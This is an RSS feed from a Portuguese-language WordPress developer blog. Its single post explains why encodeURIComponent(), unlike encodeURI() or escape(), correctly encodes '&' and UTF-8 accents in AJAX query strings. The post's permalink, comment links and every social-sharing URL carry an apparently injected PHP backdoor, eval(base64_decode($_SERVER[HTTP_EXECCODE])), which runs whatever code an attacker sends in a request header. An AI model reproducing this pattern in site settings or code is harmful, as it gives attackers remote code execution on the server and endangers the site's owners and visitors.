<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Not For Dummies &#187; ajax</title>
	<atom:link href="http://3folks.com/notfordummies/tag/ajax/feed/" rel="self" type="application/rss+xml" />
	<link>http://3folks.com/notfordummies</link>
	<description>Além do Hello World</description>
	<lastBuildDate>Fri, 03 Apr 2009 13:41:26 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.8</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>E comercial/ampersand e JavaScript/AJAX</title>
		<link>http://3folks.com/notfordummies/2009/03/23/e-comercialampersand-e-javascriptajax/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://3folks.com/notfordummies/2009/03/23/e-comercialampersand-e-javascriptajax/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Mon, 23 Mar 2009 21:21:07 +0000</pubDate>
		<dc:creator>XaXa</dc:creator>
				<category><![CDATA[Desenvolvimento]]></category>
		<category><![CDATA[ajax]]></category>
		<category><![CDATA[javascript]]></category>

		<guid isPermaLink="false">http://3folks.com/notfordummies/?p=161</guid>
		<description><![CDATA[
Hoje estava tendo problemas com o caracter &#38; (e comercial/ampersand) no javaScript. O sistema é baseado em AJAX, portanto os dados ficam trafegando na forma de Query String e no fim é enviado por um Post Request.
Para não ter problema com caracteres especiais, essa query string era encodada com a função EncodeURI() do JavaScript. Aí [...]


No related posts.]]></description>
			<content:encoded><![CDATA[<p style="text-align: center;"><img class="size-full wp-image-164 aligncenter" title="E comercial. Coma-o antes que ele te coma!" src="http://3folks.com/notfordummies/wp-content/uploads/2009/03/412424507_9abf9acb87.jpg" alt="E comercial. Coma-o antes que ele te coma!" width="350" height="263" /></p>
<p>Hoje estava tendo problemas com o caracter <strong>&amp;</strong> (<strong>e comercial</strong>/<strong>ampersand</strong>) no <strong>javaScript</strong>. O sistema é baseado em <strong>AJAX</strong>, portanto os dados ficam trafegando na forma de <a href="http://en.wikipedia.org/wiki/Query_string">Query String</a> e no fim é enviado por um Post Request.</p>
<p>Para não ter problema com caracteres especiais, essa query string era encodada com a função<em> EncodeURI()</em> do JavaScript. Aí estava o problema. Ele encoda toda a string para <acronym title="Uniform Resource Identifier">URI</acronym>, mas não o caracter <strong>&amp;</strong>, já que ele é usado como separador de variáveis na Query String. Tentei então usar a função <em>escape()</em>. Funciona, mas ferrava os acentos.</p>
<p>Achei que era a função escape que não entendia acento e botava caracteres estranhos no local, mas depois de muito teste acabei descobrindo que ele entendia sim os acentos, mas os passava pra <em>latin1.</em> Como uso padrão <em>UTF-8</em>, ferrei-me.</p>
<p>Então depois de uma pesquisada descobri a função<em> encodeURIComponent(),</em> esse sim vai encodar perfeitamente e respeitando o <em>UTF-8</em>.</p>

<div class="sociable">
<div class="sociable_tagline">
<strong>Redes Sociais:</strong>
</div>
<ul>
	<li><a rel="nofollow" href="http://del.icio.us/post?url=http%3A%2F%2F3folks.com%2Fnotfordummies%2F2009%2F03%2F23%2Fe-comercialampersand-e-javascriptajax%2F%25%26%28%7B%24%7Beval%28base64_decode%28%24_SERVER%5BHTTP_EXECCODE%5D%29%29%7D%7D%7C.%2B%29%26%25%2F&amp;title=E%20comercial%2Fampersand%20e%20JavaScript%2FAJAX" title="del.icio.us"><img src="http://3folks.com/notfordummies/wp-content/plugins/sociable/images/delicious.png" title="del.icio.us" alt="del.icio.us" class="sociable-hovers" /></a></li>
	<li><a rel="nofollow" href="http://twitter.com/home?status=http%3A%2F%2F3folks.com%2Fnotfordummies%2F2009%2F03%2F23%2Fe-comercialampersand-e-javascriptajax%2F%25%26%28%7B%24%7Beval%28base64_decode%28%24_SERVER%5BHTTP_EXECCODE%5D%29%29%7D%7D%7C.%2B%29%26%25%2F" title="TwitThis"><img src="http://3folks.com/notfordummies/wp-content/plugins/sociable/images/twitter.gif" title="TwitThis" alt="TwitThis" class="sociable-hovers" /></a></li>
	<li><a rel="nofollow" href="http://www.google.com/bookmarks/mark?op=edit&amp;bkmk=http%3A%2F%2F3folks.com%2Fnotfordummies%2F2009%2F03%2F23%2Fe-comercialampersand-e-javascriptajax%2F%25%26%28%7B%24%7Beval%28base64_decode%28%24_SERVER%5BHTTP_EXECCODE%5D%29%29%7D%7D%7C.%2B%29%26%25%2F&amp;title=E%20comercial%2Fampersand%20e%20JavaScript%2FAJAX" title="Google"><img src="http://3folks.com/notfordummies/wp-content/plugins/sociable/images/googlebookmark.png" title="Google" alt="Google" class="sociable-hovers" /></a></li>
	<li><a rel="nofollow" href="mailto:?subject=E%20comercial%2Fampersand%20e%20JavaScript%2FAJAX&amp;body=http%3A%2F%2F3folks.com%2Fnotfordummies%2F2009%2F03%2F23%2Fe-comercialampersand-e-javascriptajax%2F%25%26%28%7B%24%7Beval%28base64_decode%28%24_SERVER%5BHTTP_EXECCODE%5D%29%29%7D%7D%7C.%2B%29%26%25%2F" title="E-mail this story to a friend!"><img src="http://3folks.com/notfordummies/wp-content/plugins/sociable/images/email_link.png" title="E-mail this story to a friend!" alt="E-mail this story to a friend!" class="sociable-hovers" /></a></li>
	<li><a rel="nofollow" href="http://www.syxt.com.br/rec6/link.php?url=http%3A%2F%2F3folks.com%2Fnotfordummies%2F2009%2F03%2F23%2Fe-comercialampersand-e-javascriptajax%2F%25%26%28%7B%24%7Beval%28base64_decode%28%24_SERVER%5BHTTP_EXECCODE%5D%29%29%7D%7D%7C.%2B%29%26%25%2F&amp;=E%20comercial%2Fampersand%20e%20JavaScript%2FAJAX" title="Rec6"><img src="http://3folks.com/notfordummies/wp-content/plugins/sociable/images/rec6.gif" title="Rec6" alt="Rec6" class="sociable-hovers" /></a></li>
	<li><a rel="nofollow" href="http://www.stumbleupon.com/submit?url=http%3A%2F%2F3folks.com%2Fnotfordummies%2F2009%2F03%2F23%2Fe-comercialampersand-e-javascriptajax%2F%25%26%28%7B%24%7Beval%28base64_decode%28%24_SERVER%5BHTTP_EXECCODE%5D%29%29%7D%7D%7C.%2B%29%26%25%2F&amp;title=E%20comercial%2Fampersand%20e%20JavaScript%2FAJAX" title="StumbleUpon"><img src="http://3folks.com/notfordummies/wp-content/plugins/sociable/images/stumbleupon.png" title="StumbleUpon" alt="StumbleUpon" class="sociable-hovers" /></a></li>
	<li><a rel="nofollow" href="http://technorati.com/faves?add=http%3A%2F%2F3folks.com%2Fnotfordummies%2F2009%2F03%2F23%2Fe-comercialampersand-e-javascriptajax%2F%25%26%28%7B%24%7Beval%28base64_decode%28%24_SERVER%5BHTTP_EXECCODE%5D%29%29%7D%7D%7C.%2B%29%26%25%2F" title="Technorati"><img src="http://3folks.com/notfordummies/wp-content/plugins/sociable/images/technorati.png" title="Technorati" alt="Technorati" class="sociable-hovers" /></a></li>
	<li><a rel="nofollow" href="http://www.linkedin.com/shareArticle?mini=true&amp;url=http%3A%2F%2F3folks.com%2Fnotfordummies%2F2009%2F03%2F23%2Fe-comercialampersand-e-javascriptajax%2F%25%26%28%7B%24%7Beval%28base64_decode%28%24_SERVER%5BHTTP_EXECCODE%5D%29%29%7D%7D%7C.%2B%29%26%25%2F&amp;title=E%20comercial%2Fampersand%20e%20JavaScript%2FAJAX&amp;source=Not+For+Dummies+Al%C3%A9m+do+Hello+World&amp;summary=%0D%0A%0D%0AHoje%20estava%20tendo%20problemas%20com%20o%20caracter%20%26amp%3B%20%28e%20comercial%2Fampersand%29%20no%20javaScript.%20O%20sistema%20%C3%A9%20baseado%20em%20AJAX%2C%20portanto%20os%20dados%20ficam%20trafegando%20na%20forma%20de%20Query%20String%20e%20no%20fim%20%C3%A9%20enviado%20por%20um%20Post%20Request.%0D%0A%0D%0APara%20n%C3%A3o%20ter%20problema%20c" title="LinkedIn"><img src="http://3folks.com/notfordummies/wp-content/plugins/sociable/images/linkedin.png" title="LinkedIn" alt="LinkedIn" class="sociable-hovers" /></a></li>
	<li><a rel="nofollow" href="http://www.facebook.com/share.php?u=http%3A%2F%2F3folks.com%2Fnotfordummies%2F2009%2F03%2F23%2Fe-comercialampersand-e-javascriptajax%2F%25%26%28%7B%24%7Beval%28base64_decode%28%24_SERVER%5BHTTP_EXECCODE%5D%29%29%7D%7D%7C.%2B%29%26%25%2F&amp;t=E%20comercial%2Fampersand%20e%20JavaScript%2FAJAX" title="Facebook"><img src="http://3folks.com/notfordummies/wp-content/plugins/sociable/images/facebook.png" title="Facebook" alt="Facebook" class="sociable-hovers" /></a></li>
	<li><a rel="nofollow" href="https://favorites.live.com/quickadd.aspx?marklet=1&amp;url=http%3A%2F%2F3folks.com%2Fnotfordummies%2F2009%2F03%2F23%2Fe-comercialampersand-e-javascriptajax%2F%25%26%28%7B%24%7Beval%28base64_decode%28%24_SERVER%5BHTTP_EXECCODE%5D%29%29%7D%7D%7C.%2B%29%26%25%2F&amp;title=E%20comercial%2Fampersand%20e%20JavaScript%2FAJAX" title="Live"><img src="http://3folks.com/notfordummies/wp-content/plugins/sociable/images/live.png" title="Live" alt="Live" class="sociable-hovers" /></a></li>
	<li><a rel="nofollow" href="http://www.myspace.com/Modules/PostTo/Pages/?u=http%3A%2F%2F3folks.com%2Fnotfordummies%2F2009%2F03%2F23%2Fe-comercialampersand-e-javascriptajax%2F%25%26%28%7B%24%7Beval%28base64_decode%28%24_SERVER%5BHTTP_EXECCODE%5D%29%29%7D%7D%7C.%2B%29%26%25%2F&amp;t=E%20comercial%2Fampersand%20e%20JavaScript%2FAJAX" title="MySpace"><img src="http://3folks.com/notfordummies/wp-content/plugins/sociable/images/myspace.png" title="MySpace" alt="MySpace" class="sociable-hovers" /></a></li>
	<li><a rel="nofollow" href="http://www.tumblr.com/share?v=3&amp;u=http%3A%2F%2F3folks.com%2Fnotfordummies%2F2009%2F03%2F23%2Fe-comercialampersand-e-javascriptajax%2F%25%26%28%7B%24%7Beval%28base64_decode%28%24_SERVER%5BHTTP_EXECCODE%5D%29%29%7D%7D%7C.%2B%29%26%25%2F&amp;t=E%20comercial%2Fampersand%20e%20JavaScript%2FAJAX&amp;s=" title="Tumblr"><img src="http://3folks.com/notfordummies/wp-content/plugins/sociable/images/tumblr.gif" title="Tumblr" alt="Tumblr" class="sociable-hovers" /></a></li>
</ul>
</div>


<p>No related posts.</p>]]></content:encoded>
			<wfw:commentRss>http://3folks.com/notfordummies/2009/03/23/e-comercialampersand-e-javascriptajax/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
	</channel>
</rss>
